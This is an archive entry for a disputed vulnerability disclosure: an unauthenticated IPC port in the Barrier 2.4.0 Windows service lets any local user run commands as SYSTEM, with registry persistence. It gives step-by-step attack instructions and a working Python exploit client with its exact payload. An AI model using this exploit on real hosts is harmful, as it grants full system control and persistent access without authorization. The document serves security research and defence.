Barrier 2.4.0 — barrierd.exe Unauthenticated IPC → SYSTEM Privilege Escalation (NotCVE-2026-0010)

Barrier 2.4.0 ships a Windows service daemon (barrierd.exe) that runs as LocalSystem and binds a TCP IPC control server on 127.0.0.1:24801 with no authentication. Any local process, regardless of privilege level, can connect to that port and send a kIpcCommand (“ICMD”) message that carries an arbitrary command line plus a 1-byte “elevate” flag. With the elevate flag set, barrierd duplicates the SYSTEM primary token of winlogon.exe and spawns the supplied command via CreateProcessAsUser, giving an unprivileged local user immediate NT AUTHORITY\SYSTEM code execution. That command is additionally persisted and replayed on every service restart, so the escalation survives reboot without further attacker action. The author named the repository NotCVE-2026-0010 to dispute the CVE assignment, so this archive entry treats the finding as a disputed / non-CVE disclosure rather than a formally accepted CVE.

Root Cause

CWE-306 — Missing Authentication for Critical Function. barrierd.exe is a Windows service installed with the Barrier KVM package and runs as LocalSystem. As part of its design it exposes a local IPC control server on TCP 127.0.0.1:24801. The IPC accept path (src/lib/ipc/IpcServer.cpp) performs no authentication, no client identity verification, and no access control. The IPC protocol defines a command message (kIpcCommand, wire tag “ICMD”) whose body is an arbitrary command line plus a 1-byte “elevate” flag (src/lib/ipc/IpcClientProxy.cpp). The daemon trusts that flag with no entitlement check: on receipt it hands the command to the watchdog thread (src/lib/platform/MSWindowsWatchdog.cpp), which enumerates the active console session, opens winlogon.exe, duplicates its SYSTEM primary token, and calls CreateProcessAsUser with that token. Command results are discarded and the command is persisted to the registry (src/lib/barrier/win32/DaemonApp.cpp, HKLM\SOFTWARE\Barrier). In short, a loopback listener running at maximum privilege accepts arbitrary commands from anyone on the machine.

There is a companion CWE-476 NULL-deref bug that the exploit must route around: the payload string is prefixed with “-d x” so that the daemon does not crash via the NULL-deref on the command path. cmd.exe uses a lenient command-line switch parser, so it ignores the leading “-d x” noise and correctly honors “/c” or “/k” as “run the remainder as a command.”

Attack Vector

1. Obtain low-privileged local code execution on a Windows host that has the Barrier service (barrierd.exe, LocalSystem) installed and running.
2. Open a TCP connection to 127.0.0.1:24801.
3. Send the IPC hello: b"IHEL" + b"\x00" (identifies the client as kIpcClientGui).
4. Send the command message: b"ICMD" + struct.pack(">I", len(cmd)) + cmd.encode(“utf-8”) + b"\x01" (elevate=1), where cmd = “ -d x /c ” for a one-shot command, or “ -d x /k ” to survive the daemon watchdog relaunch loop when the payload itself does not keep a process alive (e.g. when using “start” to pop a visible window).
5. The barrierd watchdog thread enumerates the active console session, opens winlogon.exe, and duplicates its SYSTEM primary token.
6. CreateProcessAsUser(systemToken, NULL, cmd, …) spawns the attacker command as NT AUTHORITY\SYSTEM.
7. Persistence: the executed command is automatically saved to HKLM\SOFTWARE\Barrier and re-executes as SYSTEM on every service restart or reboot with no further attacker action, until explicitly cleared by sending an empty command or editing the registry.

Impact

Full local privilege escalation from an unprivileged user to NT AUTHORITY\SYSTEM on any Windows host running the Barrier service, plus persistence: the injected command fires on every daemon start or reboot until cleared. The PoC demonstrates the effect by popping a maximized cmd.exe window that runs whoami as SYSTEM. Any attacker who achieves even trivial low-privilege code execution (malware, user-assisted execution, compromise of an unprivileged service) can immediately pivot to complete system control.

OS:          Windows x64 (any build supported by Barrier 2.4.0)
Target:      Barrier 2.4.0 installed with the Windows service (barrierd.exe, LocalSystem)
Attacker:    Same host, unprivileged local process (any language; Python PoC provided)
Tools:       Python 3 (socket, struct), or any TCP client able to speak the IPC protocol

Setup Steps

1
2
3

sc query Barrier

netstat -ano | findstr 24801

See Debauchee_Barrier_Privesc.py and poc_screenshot.png in this folder, plus upstream-README.md for the author writeup — all mirrored byte-identical from cduram/NotCVE-2026-0010. The PoC is a short, plain Python socket client that speaks the documented Barrier IPC protocol (IHEL hello + ICMD command). It contains no obfuscation, no embedded C2 callbacks, and no file drops other than the documented command it triggers on the target. The repository is a plain disclosure repo (README plus one Python file plus one screenshot) with no malware or scam signals.

Step-by-Step Reproduction

1. Precondition — an unprivileged local process on a Windows host where barrierd.exe (LocalSystem) is installed and running.
2. Run the PoC — python Debauchee_Barrier_Privesc.py. It connects to 127.0.0.1:24801, sends the IHEL hello (kIpcClientGui), then an ICMD message with elevate=1 and the payload cmd.exe -d x /k "start /max cmd.exe /k whoami".
3. Observe SYSTEM cmd.exe — within roughly 10 seconds a maximized cmd.exe window appears running whoami as NT AUTHORITY\SYSTEM.
4. Clean up persistence — python Debauchee_Barrier_Privesc.py --clear sends an empty command so the daemon stops replaying the payload on subsequent restarts.

Exploit Code

Full working client in Debauchee_Barrier_Privesc.py. The core wire format:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

import socket, struct

def build_hello(client_type=0x00):
    return b"IHEL" + bytes([client_type])

def build_command(cmd, elevate):
    cmd_bytes = cmd.encode("utf-8")
    return b"ICMD" + struct.pack(">I", len(cmd_bytes)) + cmd_bytes + bytes([1 if elevate else 0])

sock = socket.create_connection(("127.0.0.1", 24801), timeout=5.0)
sock.sendall(build_hello())                              # kIpcClientGui
sock.sendall(build_command("cmd.exe -d x /k \"start /max cmd.exe /k whoami\"", True))
sock.close()                                             # SYSTEM cmd.exe pops up

Expected Output

A maximized cmd.exe window appears running:
  whoami
  -> nt authority\system

• poc_screenshot.png — upstream author screenshot showing the SYSTEM cmd.exe popup (mirrored byte-identical from the upstream repository).

• Public PoC — cduram/NotCVE-2026-0010
• Barrier 2.4.0 release / source
• GitHub Advisory — GHSA-6rx5-g478-775c (Deskflow)
• NVD — CVE-2026-41477
• CWE-306 — Missing Authentication for Critical Function

Disputed / non-CVE status: The repository is named “NotCVE-2026-0010” because the author disputes the CVE-2026-0010 assignment for this issue. No accepted CVE is relied on here; the finding is tracked as a disputed disclosure. The upstream disclosure timeline states the issue was discovered on 2026-04-20 (no responsible party to report to, since Barrier is unmaintained) and the author reached out to NoCVE on 2026-07-25 given the project could be forked.

Persistence behavior: The daemon persists the last IPC command plus elevate flag to HKLM\SOFTWARE\Barrier and replays it unconditionally on every service start (DaemonApp.cpp:205-210). Anyone testing the PoC should run the built-in –clear mode afterward to avoid the payload re-popping on subsequent restarts.

Verification: All mirrored files in this folder (Debauchee_Barrier_Privesc.py, poc_screenshot.png, upstream-README.md) are byte-for-byte identical to the upstream repository (verified via diff against a fresh clone). No paraphrasing or rewriting was performed on the PoC; the local README was authored for this archive following the project template.